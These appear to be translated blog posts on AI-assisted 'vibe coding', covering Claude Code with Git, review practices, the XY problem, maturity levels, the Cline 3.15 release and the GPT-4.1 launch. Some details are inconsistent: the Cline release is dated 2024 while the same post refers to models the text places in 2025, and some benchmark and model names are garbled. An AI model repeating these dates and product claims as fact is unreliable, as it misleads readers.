Given this instruction, Claude Code will scan the project’s code to work out what permission system it uses. Then it writes the new function in an appropriate location (in the user_utils.py file, say). The body of the function will contain logic that takes a user object or ID, checks whether that user has delete permission, and raises an exception if not. Claude Code generates the function while respecting the project’s coding conventions (if the project is Django it might use a decorator, or it might be a simple if-check). Once it’s done writing, it may run a simple test itself, or suggest whether existing test code needs a section that uses this function. In the end the developer reviews the completed function code and the agent’s explanation, makes small tweaks or adds comments if needed, and saves. This is how implementing new functionality can also move quickly through conversation with the agent.

Using Claude Code with Git

Claude Code is also tightly integrated with Git. It helps with version control work too. Let’s look at a simple scenario to see how you can use it.

Example Scenario: Saving and Sharing Code After Fixing a Bug

1. Understanding the bug: There’s a bug reported as a GitHub issue. The developer instructs Claude Code, “fix the bug described in issue #37.” The agent reads the issue content using the GitHub CLI (gh), or refers to a locally saved issue description, to understand what the problem is. Then it finds the cause of the bug in the codebase and fixes it. If the bug was caused by a missing null check, for instance, it adds a conditional. After making the fix, Claude Code also runs the relevant tests (running CI tests via the gh CLI, for example) to confirm the bug is resolved.

2. Reviewing the code changes: Once the bug is fixed, Claude Code will report something like “I added a null check to the function that was causing the problem, and all tests now pass.” The developer reviews the code change (diff) Claude Code proposes. If needed, they can give Claude Code further instructions such as “add a few more comments” or “give this variable a more meaningful name.” The agent will revise the code according to the request.

3. Committing and pushing: Once you’re happy with the result, it’s time to make a Git commit. An appropriate commit message is generated automatically to match the changes.

For example, the agent could run the git commit command to commit the current changes with the message ‘Fix null pointer bug in processData function’. Likewise, the git push command can be run through the agent. In other words, the agent assists you in a single continuous flow, from code changes all the way through commit and push.

4. Creating a pull request: To get the code into GitHub, you need to create a PR (pull request). Since Claude Code can use the GitHub CLI (gh), if you instruct it as follows:

Create a PR to merge the bugfix branch into the main branch.

the agent will invoke commands such as gh pr create on its own and create a PR for the current bugfix branch with a suitable title and body. It can go on to link the issue number in the PR description or write a summary of the changes. As a result, the developer can create a PR entirely from the terminal in natural language, without opening the web interface and clicking through it.

This kind of Git integration is useful for team collaboration as well. For example, when a merge conflict occurs, you can hand the resolution to Claude Code. If you say “fix the conflicts that were generated automatically,” the agent finds the conflict markers (<<<<, ====, >>>>) and attempts to merge them in the most plausible way. When it’s done, it will tell you “I resolved the conflicts, and the code compiles correctly.”

And on a large project where several developers work simultaneously, you can use agents in parallel to handle multiple issues at once, having each commit to its own branch. For instance, one agent develops feature A while another fixes bug B, and the two results are then put up as separate PRs for code review. In this way, combining Claude Code with Git automates a substantial part of the development cycle that runs from coding to testing to committing to PR.

(As a note, when you first use Claude Code, it will sometimes ask about commands that involve significant system changes, as a safeguard. For actions such as deleting files or making large commits, it asks for the user’s permission; advanced users like Armin sometimes skip the process of approving each one with the --dangerously-skip-permissions option. But if you’re a beginner, I’d recommend leaving the defaults in place and proceeding while watching every action the agent takes.)

Wrapping Up: Practical Advice for Beginning Developers

The world of agentic coding and Claude Code can feel somewhat unfamiliar and complicated at first. But approached step by step, it’s a tool that beginning developers can absolutely make use of, and one that can be a great help to learning and growth. Let me close by pulling together some practical advice for beginners looking to build up their agentic coding skills with Claude Code.

• 1. Start small: At first, rather than handing Claude Code an entire complex project, try it on small units of work. Requests like “add comments to this function” or “write a simple unit test” are a good place to start. Experience some successes and failures this way, and get a feel for the agent’s capabilities and limits.
• 2. Always review the results: No matter how smart Claude Code is, a step where a human developer reviews the generated code and changes is essential. Agents can occasionally make an off-target change or leave a small bug, so even as a beginner, get into the habit of reading the output carefully and running additional tests. If you treat the agent’s code the way you’d review a senior developer’s code, you can turn it into an opportunity to spot mistakes and learn.
• 3. Experiment and tune: Use configuration files like the CLAUDE.md mentioned earlier, along with your project’s Makefile and script tooling, to tune the environment so the agent works better. For example, if you write down frequently used commands in CLAUDE.md, or record the project’s rules (coding style, branching strategy, and so on), Claude Code can remember and follow them. These environmental improvements also directly improve your own working efficiency, so you get two benefits for the price of one.
• 4. Don’t miss the latest developments: As Armin emphasizes, this field is changing very fast. Claude Code itself is continually updated, and comparable alternative tools (OpenAI Codex, Cursor, and so on) are updated quickly too. Even as a beginning developer, it helps a great deal to make time to check relevant news and communities and to keep up with new features and best practices. If you hear that a parallel-agent feature has been added to Claude Code, for instance, try it out right away and build up your experience.
• 5. Fundamentals matter: Finally, keep in mind that agentic coding is not a cure-all. AI helps with a lot, but that’s no reason to neglect studying the basic principles of programming, data structures, and algorithms. If anything, the more solid that knowledge is, the better you can direct the agent. Which problem needs solving and what direction a change should take ultimately require the developer’s judgment, and that judgment is what lets you give the agent the right instructions. Having the fundamentals also lets you analyze what the agent produces and judge whether it’s right or wrong.

As Armin Ronacher’s account shows, coding in collaboration with AI agents is less a replacement for the developer’s role than a tool that amplifies it. Beginning developers have no reason to feel intimidated: install Claude Code yourself and try it, even on a small project. It feels a little awkward at first, but try thinking of the agent as another teammate or a pair programmer and keep the conversation going. Before you know it, the repetitive work is being handled smoothly, and you’ll find yourself focusing on the bigger picture and growing.

Finally, I’d encourage you not to be afraid and to learn adaptively. Armin himself says that “today’s workflow may be completely different tomorrow,” but he also said the core principles will hold. Keep principles like simplicity, stability, and visibility close, and enjoy this new era of development. Welcome to the world of agentic coding, where AI and people join forces to write better code, and happy vibe coding!

Armin Ronacher’s YouTube live coding video

When people do vibe coding, they often assume the code alone is enough. Reality says otherwise. Code without documentation is like setting off on a trip without a map. If nobody knows where the destination is or what the route looks like, nobody will come along. Documentation matters especially in vibe coding because code isn’t merely there to run — it exists to convey your ideas and design intent accurately to other people. Documentation smooths collaboration, clarifies where a project is headed, and ultimately forms the foundation of a sustainable development environment.

I strongly recommend managing documentation alongside your code. Markdown and mermaid in particular let you produce simple, clear diagrams quickly. A single diagram can capture complex structures and flows that would otherwise take paragraphs of prose, which makes communication far more effective.

Of course, mermaid alone sometimes falls short. When you need something more refined and complex, you can turn to draw.io. Because draw.io uses the XML-based .drawio file format, it’s relatively easy to instruct an AI to generate diagrams directly in that format. The catch is that the IDs for specific icons — AWS icons, for instance — aren’t published, so an AI can’t readily use them.

So I extracted the IDs of the AWS architecture icons straight from the draw.io client and documented them separately. That way I can hand the icon IDs to an AI and have it use exactly the icons I want. You can see the document in action, applied to a real project, in the GitHub repository below.

TL;DR

• In vibe coding, documentation isn’t optional — it’s the core work of sharing design intent and the context needed for collaboration.
• Markdown and mermaid are enough for simple structures, but for more refined architecture diagrams you can generate draw.io files together with an AI.
• Supplying the fine-grained details an AI can’t be expected to know — such as AWS icon IDs — as a separate document lets you produce the diagram you actually want, far more accurately.

ECS - Fargate Fast Scaleout

Once a diagram has been generated this way, VS Code’s drawio extensions make it easy to preview and edit. Installing the draw.io client also gives you a bundled CLI tool that converts diagrams to SVG or PNG so you can drop them straight into your documents.

Meanwhile, recent versions of mermaid have started supporting a range of architecture icons out of the box, AWS icons included. The official documentation will get you going right away. GitHub doesn’t support this newer feature yet, though, so the approach I described above will remain the most practical option for the time being.

Good documentation goes beyond being a manual: it raises the quality of collaboration and sustains a project’s value over the long run. In vibe coding, documentation is not a choice — it’s a requirement.

It is true that adopting vibe coding automates several areas of development and raises productivity. But review is something people have to do, because people are the ones accountable for the outcome — and so the bottleneck ends up moving to review (document review, plan review, code review, and so on). Today I want to talk about review.

TL;DR

• Vibe coding speeds up generation, but if code, document, and plan reviews stay the same, the bottleneck simply shifts to the review stage.
• To raise review quality, make approval accountability explicit, and use checklists and risk flags so that reviewers judge actively rather than passively.
• The more automation grows, the more deliberately human review has to be designed — you need a structure that attaches meaning and accountability even to small actions.

Let’s start with code review.

Bottlenecks in code review usually appear because reviewers feel less accountable, or because they passively click a button. To improve this, it helps to establish a clear rule that “pressing the approve button means you share responsibility for the quality of this code.” Having reviewers explicitly confirm a pledge such as “I have verified both the quality and the safety of this code” before approving noticeably raises their sense of psychological accountability.

Organizing review items into a checklist so reviewers examine them thoroughly is also effective. Checking performance, security, code style, and so on item by item in a code review lets you review systematically without missing anything. In fact, limiting a single review to 400 lines of code or fewer and using a checklist is said to raise defect detection rates significantly. Many companies are already getting results from this approach.

It also helps to highlight risk or importance to developers when presenting a review. Adding a note such as “this change touches the payment system, so please look at it very carefully” keeps reviewers from skimming past it and gets them to approach it more responsibly. Sharing real incidents that led to problems because they slipped through review also makes reviewers feel how important their role is, so they pay closer attention.

A culture of social comparison and recognition works well too. Naming a “most active reviewer,” or holding small events that praise and reward cases where a review caught a defect, has an effect. If you turn review activity into something game-like, collaborative, and enjoyable, developers come to see the review work itself as a process of achievement.

The same goes for document review. When developers work through a checklist covering technical scenarios, performance concerns, error-handling scenarios, and the like, the quality of the review goes up. Setting a baseline rule before the review starts — something like “let’s find at least one improvement in this document” — also gets developers to offer opinions actively during the review. Handing out a short questionnaire so developers read the document in advance and come prepared is another good approach.

In plan review, what matters is that developers supply a realistic perspective. When the plan is overly optimistic, it works well to prompt developers to surface realistic risk factors by asking questions such as “what is the worst-case scenario?” Sharing feedback on how review comments were actually reflected in the project afterward is another important element. Once people see how the outcome of a review played out in reality, they take the next review more seriously.

In the end, review comes down entirely to accountability and engagement. In the age of vibe coding, the more automation grows, the more important accountable human review becomes. So if you make good use of human behavioral psychology when designing your review process, you can raise review quality and productivity naturally. What matters is giving meaning to even a single small action and making people feel accountable for it. Do that, and you will not only ease the review bottleneck but also improve quality.

Have you ever heard of the XY Problem? Put simply, it’s the phenomenon of leaving the real problem (X) untouched while fixating on a solution (Y) you’ve arbitrarily assumed. Here’s an example. Your car won’t start, and without properly checking anything, you jump to the conclusion that it’s the battery and ask, “How do I hook up the jumper cables?” The real problem is that the car won’t start, and while you have no idea whether it’s the battery, whether you’re out of fuel, or whether it’s the electrical system, you’re floundering around clinging to Y (connecting jumper cables).

TL;DR

• The XY Problem crops up easily in vibe coding too, with the AI clinging to the solution the user assumed rather than the real problem.
• An instruction like “make the test pass” can be misread as editing the test rather than fixing the cause of the failure.
• Putting an intent-confirmation step in your rules file gets the AI to ask about the goal before starting work, and cuts down on it heading off in the wrong direction.

This XY Problem shows up in vibe coding fairly often. Vibe coding works by a person giving instructions to an AI, and the AI understanding them and carrying out the work. The trouble is that the instructions people give aren’t always clear. As a result, the AI sometimes misreads the intent and wanders off down the wrong path. Let’s look at an example.

“The tests are failing — fix them, would you?”

What if the AI hears this and, instead of actually finding out why the tests are failing, just blindly edits the test code to make them pass? That’s when things start to unravel. Passing the tests was never the goal; correcting the cause of the failure is the whole point.

Why does this happen? Because AI is fundamentally trained to “infer intent” for the user’s convenience. That’s what lets it handle things impressively well from just a brief remark — but it also means that, faced with an imprecise instruction, it sometimes takes off in a direction of its own choosing, and an accident happens.

Still, how tedious would it be to explain every last detail to the AI for every single task, or to leave it constantly asking you questions? That’s why the smartest way to handle the XY Problem in vibe coding is to add a process to your rules file that confirms the AI has correctly understood your intent.

With this in place, the AI double-checks whether it has fully grasped the user’s intent before carrying out an instruction, and asks again when it isn’t sure. Below is a simple example of such a rule.

Rule: Confirm the clarity of the task's intent

- When the AI receives an instruction from the user, it summarizes the core intent of the instruction and asks the user to confirm it before starting work.
- If the user confirms, it proceeds with the work; if not, it asks again to clarify the exact intent.

Example:

User: "Fix the failing tests in the build."

AI: "To confirm: rather than modifying the test code itself to make the build pass, you want me to find the cause of the failure and correct the error in the original code so the tests pass — is that right?"

User: "Yes. Go ahead."

Just doing this can dramatically reduce trouble related to the XY Problem. Misunderstandings between people and AI, along with the trial and error of going down the wrong path, will be minimized as well. I always emphasize approaching vibe coding with the mindset that you’re pair programming with the AI. And so the core strategy behind the vibe coding we pursue at ROBOCO is this: how can we convey our “intent” clearly with the least possible effort?

As I noted in my earlier post on the productivity of vibe coding, that productivity hinges on two factors. The first is human productivity — the developer’s ability to solve problems and analyze them. The second is the productivity of the tools and processes that complement and amplify that ability. Productivity here does not mean simply writing code fast. It covers the whole range of competence involved in making a plan, analyzing a problem, and finding a solution.

TL;DR

• The productivity of vibe coding depends not only on the capability of the AI tool but heavily on the developer’s analytical skill and ability to design the work.
• It shines on tasks with a clear specification, on porting work, and on script-like tasks where inputs and outputs are well defined.
• Where it is unclear what should be built, or where the context is complex, human judgment and deliberate scoping still matter.

Across a number of real projects I have worked through, I ended up empirically sorting the tasks vibe coding handles well from the ones it does not. With any kind of work, knowing what a tool is good at and what it is bad at is what matters. Put another way, using a tool well requires knowing its character.

Let us start with the tasks vibe coding is unusually good at.

First, tasks with a clearly defined specification. Even when the vibe coder does not know every last detail, if the content of the work and the order of the steps are well documented, the AI produces astonishingly accurate results. Clear documentation is the key that draws out the AI’s full capability.

Second, porting work. If a project has already been completed in another language, on another platform, or in another framework, that code itself serves as a perfect specification. The AI can reference the existing code and carry out the port quickly and to a high standard. If the existing project is short on automated tests, it works far more accurately and efficiently to have the AI generate unit tests (UT), integration tests (IT), and end-to-end tests (E2E) first, then apply them to the target project of the port.

Third, simple scripts and utility work. When inputs and outputs are clearly fixed, the AI gets the job done at what feels like the speed of light. Even for one-off work, adopting test-driven development (TDD) lets you move fast while raising reliability.

Not everything is that simple, though. There are also tasks vibe coding does poorly.

First, tasks where it is unclear what should be built. This comes up often in software development: work where the specification has to be refined incrementally through the act of implementing it. DevOps tooling and complex workflow design are examples. For work like this, the smart move is to simulate various scenarios through conversation with a chat-based AI service such as ChatGPT, settle on a direction, and only then implement.

Second, tasks carrying complex context. A monolithic architecture with a complicated relational database, in particular, has context so vast and tangled that even a human can easily get lost in it. Ideally you would break the work apart into microservices, but that is often impractical. In such cases, one option is to use prompt engineering to limit the size of the context the AI has to handle — selecting only the documents or code relevant to each task and supplying them as a rules file. It does mean the tedium of updating the rules dynamically for every task, but with the recent arrival of tools like TaskMaster AI and BMAD-METHOD, even this part is becoming automatable.

Using vibe coding effectively, then, ultimately comes down to AI and human understanding and exploiting each other’s strengths and weaknesses. On clearly defined tasks, the AI’s speed and accuracy shine; on complex, ambiguous ones, human judgment and analysis still matter.

Even at this very moment, vibe coders around the world are experimenting nonstop. The tasks that vibe coding can already build are being built, and for the complex problems it cannot yet solve, the attempts keep coming. The tool may have limits, but there is no limit to the creativity and daring of the humans who wield it.

On May 23, Anthropic released Claude 4 — just three months after Claude 3.7 went public. OpenAI’s release cycle is getting shorter too. And it isn’t only the models that are speeding up. So where does all this extraordinary productivity come from?

TL;DR

• Vibe coding can be understood as a productivity amplifier that lets small teams deliver outsized results.
• Treat AI purely as a threat and you end up dragged along by change; make it a teammate and it expands what developers and organizations can do.
• For companies, vibe coding is shifting from an optional experiment to something closer to a survival strategy.

Cursor.ai, which recently stunned the industry, reached $100 million in annual recurring revenue (ARR) in just 21 months with a team of 20, and is now valued at $9 billion (roughly ₩13 trillion). Bolt.new and Lovable, each with a team of 15, posted $20 million and $10 million in ARR respectively in only two months. Midjourney, famous for its image generation AI, hit $200 million in ARR in two years with just 10 people. Mercor (30 people), ElevenLabs (50 people), and Aragon.ai (9 people) are putting up similar numbers.

These companies did not succeed because they got lucky, because they were exceptionally good at one particular thing, or because they locked down a patent nobody else had. They succeeded because their products outclass the competition on every dimension while continuing to hold or widen that gap. And their competitors are the famous global big tech firms — the ones with tens or hundreds of thousands of employees who write trillion-won investment checks without blinking!

I believe this kind of innovation is precisely the result of vibe coding. Vibe coding is a way of building software rapidly through natural language, making aggressive use of AI models. Used well, it lets a handful of people handle far more work, which dramatically cuts intra-team communication overhead while sustaining high productivity and quality.

At companies that have adopted vibe coding, developers can also get deeply involved in product design. As the development burden drops, a single person can take on the roles of multiple developers, a manager, and a product planner all at once.

Non-tech companies, meanwhile, are often unaware that a change of this magnitude has even arrived. The situation at tech companies isn’t dramatically different. Business Insider reported that around June 2024, AWS chief Matt Garman told employees that “there’s a chance most developers will not be coding 24 months from now.” I think that remark was far too complacent an optimism. By that point, Cursor was already spreading fast among developers by word of mouth.

It isn’t only tech companies: every incumbent is about to face a serious threat from startups wielding vibe coding as a weapon. If you view AI as nothing more than a threat, the survival window for both companies and developers gets very short. If you liken the threat of AI to fleeing a predator, you might figure that you only need to run faster than the person next to you to avoid being eaten. But that is merely buying time — it does not change the fact that you are eventually going to be caught.

But what if you got on AI’s side instead? AI can be a tool that amplifies your own abilities — not just for developers, but in every role.

Vibe coding is no longer optional. It is an essential strategy for survival.

I often get this question from developers: “This is how I develop — does that count as vibe coding?” It leaves me rather baffled. Why are Koreans in particular so fond of measuring themselves against a standard, almost like religious fundamentalists? What matters is not whether you are doing vibe coding correctly, but how much vibe coding actually improves your productivity.

There is another question I hear often: “Can you really do vibe coding without knowing any programming at all?” That is exactly what I want to talk about today.

Vibe coding is simply a convenient umbrella term for the activity of using AI to generate code from natural language. There is no particular rule saying “this is what true vibe coding is,” and there is no need for one. What matters is not the form but the outcome: whether your productivity actually went up.

TL;DR

• The important question in vibe coding is not about form, but about how much productivity actually improved.
• Productivity is produced jointly by the developer’s ability to define problems, the amplifying effect of tools and processes, and the performance of the AI itself.
• Non-developers can get some help from it, but sustained results grow when you improve capability and process together.

At this point, let me propose the following productivity equation for vibe coding.

P = x * y + z

• P: total productivity
• x: the baseline productivity a developer can deliver. The productivity of an average developer is the baseline of 1. Of course, depending on the person, it can be below 1 — or even negative.
• y: the productivity the tools and processes in use can deliver. If you are vibe coding and productivity is still low, that means the tools or processes are a mess and need improving.
• z: the productivity AI can deliver on its own. Even without a developer, AI alone can produce a certain amount of output, but this value depends entirely on the AI’s performance.

There are three points I want to emphasize with this equation.

First, it is partly true that this lets non-developers do development, but the scope and level are limited. Because you have to rely entirely on the AI (z), that value ultimately cannot exceed what the model or tool provides. Even if you cannot code, if you can clearly describe how the product or service you want to build should behave — that is, if you can write a clear requirements specification — you can add something to the developer’s productivity (x). Recently, though, if you have even a basic grounding in software engineering, it has become possible to write a requirements specification above a certain level with the help of AI.

Second, the essence of vibe coding ultimately lies in amplifying developer productivity. So if you want to raise productivity, the most effective strategy is to grow your own ability (x) or adopt better tools and processes (y). Your own ability here does not mean the ability to produce code as a software developer. It means the ability, as a problem solver, to clearly recognize and define a problem and propose an appropriate solution for it. In vibe coding, as long as you plan well, you can offload the concrete execution to the AI.

Third, tools and processes matter too. Using tools or processes that do not fit your development style can actually lower productivity. Depending on which model, which tools, and which processes you use, not only productivity but also the scope and level of what you can build changes dramatically. In addition, in the early days of adopting vibe coding, you may see a J-curve dip in productivity. That said, appropriate training can shorten the period of declining productivity.

In conclusion, the L4 vibe coding that we aim for at ROBOCO is not a cure-all. It is not magic — it is simply one development approach that maximizes the developer’s capability and the power of the tools. So to improve productivity, focus on improving your tools and processes along with the developer’s capability.

These days there is a sharp increase in developers posting about their vibe coding experiences on developer social media and community sites, talking about how convenient and enjoyable coding alongside AI is. But when you actually look at what they describe, the level of experience packed under the single term “vibe coding” varies enormously. Some are amazed by simple autocomplete; others have gone all the way to designing and operating an entire service together with AI. From here on, I will lay out a maturity scale for vibe coding based on my own criteria.

TL;DR

• Vibe coding is not a single level; it spans several stages, from autocomplete all the way to business-goal-driven automation.
• The higher the stage, the more developers focus on requirements, design, review, and decision-making rather than writing code themselves.
• Think of this scale as a reference point for checking where you are now and moving to the next stage.

Level 1 - Simple Assistant (Code Prediction)

Level 1 is the “simple assistant” level. Tools such as GitHub Copilot are the representative example. This is autocompletion of the code you are about to write next, at roughly the function level. It is convenient, but the flow and design of the code are still entirely up to the developer. In truth, even this much, used well, can bring an enormous productivity gain to an experienced developer.

Level 2 - File-Level Completion (Script Automation)

Level 2 is the “file-level completion” level. AI does a fairly convincing job of finishing simple scripts or utility-type work. This is the level where repetitive work or simple automation scripts can be handled quickly with AI’s help. At this stage, the developer looks over the whole of the code and only needs to make small corrections.

Level 3 - Modular Integration

From Level 3, things change noticeably. This is “modular integration.” AI now proposes independent features or modules spanning multiple files, taking design patterns and principles into account to some degree. The user then integrates and maintains the resulting module in the project. You get output that reflects basic software design principles such as SOLID or clean architecture to a reasonable extent.

Level 4 - Project-Level Orchestration

Level 4 is “project-level orchestration.” At this level, AI broadly supports the whole flow of a project — not just coding, but design, architecture, refactoring, testing, deployment automation, and more. The developer’s work simplifies down to conveying requirements clearly, reviewing the output, and selecting and managing the code the AI produces. Because AI understands complex context to a reasonable degree, this is the stage where the developer’s role gradually shifts toward management and oversight.

Level 5 - Business Goal-Driven Automation

The final level, Level 5, is “business goal-driven automation.” Once you reach this level, AI understands not just the technical implementation but the service’s business goals and operating environment as well. The developer focuses on setting requirements and business goals rather than on technical implementation. AI handles a substantial share of operational management — performance optimization, incident response — automatically, in addition to technical implementation and deployment. The developer only needs to focus on business strategy and key decisions.

Conclusion

The higher the level, the less technical ground the developer has to manage and the more business ground they take on. Problem definition, problem-solving, and decision-making in the business domain also become more efficient with AI’s help. Within the next few years, cases where developers touch code directly will shrink dramatically or nearly disappear. What senior developers do today will become the norm.

Vibe coding is no longer merely a tool; it has become a major current that is changing the way we develop software itself. Not everyone, however, uses vibe coding in the same way or at the same level. I hope this piece serves as a small signpost for gauging your own maturity and moving on to the next stage.

TL;DR

• Cline is carving out a bigger place in the vibe coding tool market on the strength of being open source, supporting BYOM, and holding up on large projects.
• The headline of version 3.15 is that diff-based editing and AST-based analysis make work on big files and big codebases far more efficient.
• Plan/Act modes and broad model support let developers tune cost, reliability, and control all at once.

Why Is Cline Back in the Spotlight?

The AI development tool market is a free-for-all, with new tools pouring out every month. Amid the fierce competition between well-known contenders such as GitHub Copilot, Cursor, Windsurf, Claude Code, and Amazon Q Developer, Cline has been steadily growing its presence. Cline actually drew attention by taking a distinctly different path from other vibe coding tools. Being open source, it is not a tool people pick simply because it is free. Cline holds up robustly even on complex, large-scale projects. It is also one of the few vibe coding tools that supports BYOM (Bring Your Own Model), which matters in environments where data security and sovereignty constrain what tools can be used. Leading with these strengths, Cline quickly joined the ranks of mainstream vibe coding tools.

The Breakthrough Improvements in Version 3.15

With the 3.15 update released on May 10, 2024, Cline became far more effective at handling large codebases. In earlier versions in particular, editing a big file meant rewriting the entire file, which frequently caused unnecessary cost and errors. The text-based diff-based editing introduced in this update pinpoints and modifies only the parts that need to change, substantially improving both efficiency and accuracy. The update also uses AST (abstract syntax tree) analysis to strengthen the tool’s structural understanding of code, making it possible to extract the information it needs very efficiently even from large codebases.

Maximizing Efficiency and Reliability with Plan/Act Modes

Cline’s Plan/Act modes are an innovative approach that raises efficiency and reliability by cleanly separating design from execution. In Plan mode, the AI explores the codebase and builds a concrete plan for the work ahead without touching any actual code, so the developer can review its proposals and strategy transparently. Once the plan is approved, Act mode carries out the concrete work such as code changes, and throughout that process the user can watch each step in real time and intervene where needed, giving them far more effective control over the whole thing. Notably, you can configure the optimal AI model separately for each mode to maximize cost efficiency, and this is widely regarded as one of Cline’s distinctive advantages.

Flexible Integration with a Wide Range of AI Models

And that is not all. Cline now integrates with a wider range of models so developers can work freely in whatever environment they prefer. AI models hosted on a local machine are supported, as are models in private tenancy environments such as AWS Bedrock. Through Cline, users can pick and connect as many of the latest models as they like, including Claude 3.7 Sonnet and Google Gemini 2.5. That flexibility is a Cline-only differentiator you will not easily find in other coding tools.

Finding the Balance Between Cost and Value

That said, not everything is perfect. Version 3.15 improved a great deal, but the higher model usage cost compared with competing tools remains an unsolved problem. The high-performance models Cline relies on carry substantial per-API-call costs. In practice, a long and complex task can run to several dollars, which can be a real burden for heavy users. Yet cost alone is not a fair measure of Cline’s value. Most developers judge that the costs incurred are entirely reasonable given the efficiency and convenience Cline delivers. Many point out that, precisely because it is open source, there are no additional license fees and you pay only for what you use, which is arguably fairer and more economical.

A New Paradigm for Pair Programming

In the end, the reason Cline is getting attention is not simply cost efficiency or performance. Cline drives the work through real-time interaction between the developer and the AI, creating an environment where the developer collaborates with the AI much like pair programming. This is fundamentally different from the one-off, limited help that traditional code completion tools provide. Developers can now sit in the passenger seat with the AI, set the direction themselves, and steer the work precisely where they want it to go.

An Opening Shot for the Future of Development Environments

Cline’s arrival and rapid evolution in the AI development tool market is an opening shot that signals what development environments will look like from here. It is a welcome change: Cline helps developers stop drowning in repetitive coding work so they can focus on creative planning and problem solving. There has never been a better time to pay attention to Cline.

Have you ever heard the term vibe coding? It didn’t start out as a compliment. It was used with a hint of sarcasm to describe developers who wrote code relying only on intuition and feel, often ignoring rigorous structure or rules. Interestingly, though, it has recently come to be associated with generating code through prompts alone using artificial intelligence (AI) — large language models (LLMs) in particular. Of course, you can write perfectly exemplary, maintainable code even when using an LLM. And if you get code that works well on the first try, without a cycle of trial and error, that means vibe coding did its job — and that you genuinely understand what AI-driven development is about.

I sometimes hear the question, “Isn’t AI coding basically the same as a compiler?” On the surface, that’s true. Just as a compiler turns code into machine language, an LLM turns a natural language prompt into code. But that’s where the resemblance ends. The biggest difference is determinism. A compiler always produces the same output for the same input, whereas an LLM can produce subtly — or completely — different output for the same input. Feed it an incomplete prompt, or one with no context, and you may get something entirely off the mark. Code is an unambiguous language, but human language is not. That’s why an LLM always has to “guess” at your intent.

So how can you trust a tool that is this nondeterministic? The answer looks a lot like how we come to trust other probabilistic systems: the concept of convergence. Think of simulated annealing, which allows randomness while gradually narrowing the search for an optimal solution. Stochastic gradient descent, used in machine learning, likewise converges probabilistically toward better and better results. Even we human developers vary in condition and output from day to day, yet good habits and good systems make us converge on trustworthy results. In other words, if you structure things so that the LLM converges on useful results rather than on perfection, it can absolutely be trusted.

TL;DR

• Vibe coding isn’t handing your code over to your gut; it’s structuring things so that a nondeterministic LLM converges on useful results.
• Trust doesn’t come from eyeballing every line of code. It comes from turning automated verification — tests, linters, formatters — into a repeatable system.
• Good inputs, small steps, and bold simplification determine the quality and maintainability of AI-driven development.

Even setting aside grand topics like convergence, working with an LLM is miserable unless you automate the job of checking whether the generated code is correct. Many people say they can’t trust LLM-generated code. As we just saw in comparing it to a compiler, that distrust is entirely natural. But why should human eyes be the ones verifying whether generated code is right? If, when using a technique like a genetic algorithm, you had to manually check whether every gene produced by crossover and mutation was actually valid, nobody would want to use it.

To get real value out of an LLM, you need to follow a few principles.

First, simplify boldly. LLMs often try to build overly complex structures. Delete unnecessary classes, abstractions, and complicated structures, and keep everything in its most minimal form. Simplification reduces the chance of errors and lets you spot problems quickly.

Second, work in small steps. Trying to solve everything at once will fail. Start by writing clear requirements, and unpack anything ambiguous with examples. Have it produce a design document if you need one, and review that document together. Taking it one step at a time this way reduces errors.

Third, lean hard on automation. As soon as you have an example, turn it into a runnable test. It helps to set up a script that automatically runs your code formatter, linter, and unit tests. Leave trivial style issues to the automatic formatter, and get the LLM to run the tests itself after making a change and fix whatever fails. Automation is both cheap and fast.

Finally, provide good inputs. An LLM flounders when it’s uncertain. Giving it trustworthy inputs — up-to-date documentation, accurate API information — dramatically reduces endless iteration and uncertainty.

Vibe coding, once an object of ridicule, has emerged as a powerful way of thinking in the age of AI. But intuition alone isn’t enough. In the end, this game is about orchestrating convergence well. Simplify, automate, and point clearly in the right direction. Do that, and the model will find the right path and catch the “vibe” on its own.

TL;DR

• The GPT-4.1 family is a developer-focused lineup built around coding, instruction following, and long-context handling.
• GPT-4.1 Mini and Nano are presented as solid options for work that needs fast responses and cost efficiency.
• From a vibe coding perspective, the key point is that Windsurf’s free-usage event lets you try the models out without any financial commitment.

Introduction - OpenAI Releases GPT-4.1, Built for Software Development

In the early hours of April 15, 2025 (KST), OpenAI announced GPT-4.1, a new product family for developers. The family consists of GPT-4.1, GPT-4.1 Mini, and GPT-4.1 Nano, the smallest, fastest, and cheapest model of the three. These models improve on GPT-4.0 and can handle long contexts of up to 1 million tokens.

On top of that, Windsurf is running an event that makes GPT-4.1 available for unlimited, free use for one week starting today, through April 21. Literally free for users on every plan, including the free tier, though throttling to prevent abuse applies just as it does for other paid models. As an aside, word is that the Windsurf development team internally rates GPT-4.1 very highly.

In this post I’ve summarized the main characteristics of GPT-4.1 based on OpenAI’s GPT-4.1 introduction video on YouTube. I used DeepSRT to summarize and organize the video.

Introducing the GPT-4.1 Family

• GPT-4.1 excels at coding, understanding complex instructions, and building agents
• GPT-4.1 Mini is faster and suits slightly simpler use cases
• GPT-4.1 Nano is useful for a range of applications such as autocompletion, classification, and extracting information from long documents

Improved Coding Ability

• On SWEBench, GPT-4.1 reached 55% accuracy, a major improvement over GPT-4.0’s 33%
• On the Ader polyglot benchmark, GPT-4.1 shows improved coding ability across a variety of programming languages
• In a flashcard app example, GPT-4.1 produced frontend code that was far more functional and far better looking than GPT-4.0’s

Stronger Instruction Following

• GPT-4.1 was trained to follow complex instruction sets accurately
• In internal evaluations, GPT-4.1 performed significantly better than previous models
• It also produced strong results on external benchmarks such as Scale’s multi-challenge eval
• New prompting guidelines are provided to help you get the most out of the model

Long-Context Handling

• GPT-4.1 Mini and Nano are the first models that can handle a 1 million token context (an 8x increase from the previous 128K)
• In “needle in a haystack” evaluations, the models can pinpoint specific information accurately within long texts
• On OpenAI’s MRCR evaluation, GPT-4.1 outperforms GPT-4.0 and holds up well all the way to 1 million tokens
• On the Video MME benchmark, GPT-4.1 achieved 72% accuracy, a state-of-the-art result

Pricing and Other Details

• GPT-4.1 is 26% cheaper than GPT-4.0
• GPT-4.1 Nano is the cheapest model, and there is no additional price premium for long-context usage
• GPT-4.5 will be phased out of the API in order to free up GPU resources
• GPT-4.1 and 4.1 Mini support fine-tuning, and Nano will be supported soon

Conclusion

Up to now, Claude 3.7 Sonnet has been the popular choice for vibe coding work. But the fact that OpenAI lined up a partnership with Windsurf in advance, then launched a week-long free-usage event alongside the model announcement to win users over, suggests they are quite confident in GPT-4.1. I’d encourage you to take advantage of this Windsurf event and get started with vibe coding at no cost.

TL;DR

• The code prompting section of Google’s prompt engineering whitepaper is a great starting point for using vibe coding at a professional level.
• Prompting for writing, explaining, translating, and debugging/reviewing code maps directly onto the vibe coding structure, where humans define the problem and AI carries it out.
• To get good results, spell out your output requirements, give positive instructions, and keep experimenting with and documenting reusable prompts.

Introduction - Prompt Engineering and Vibe Coding

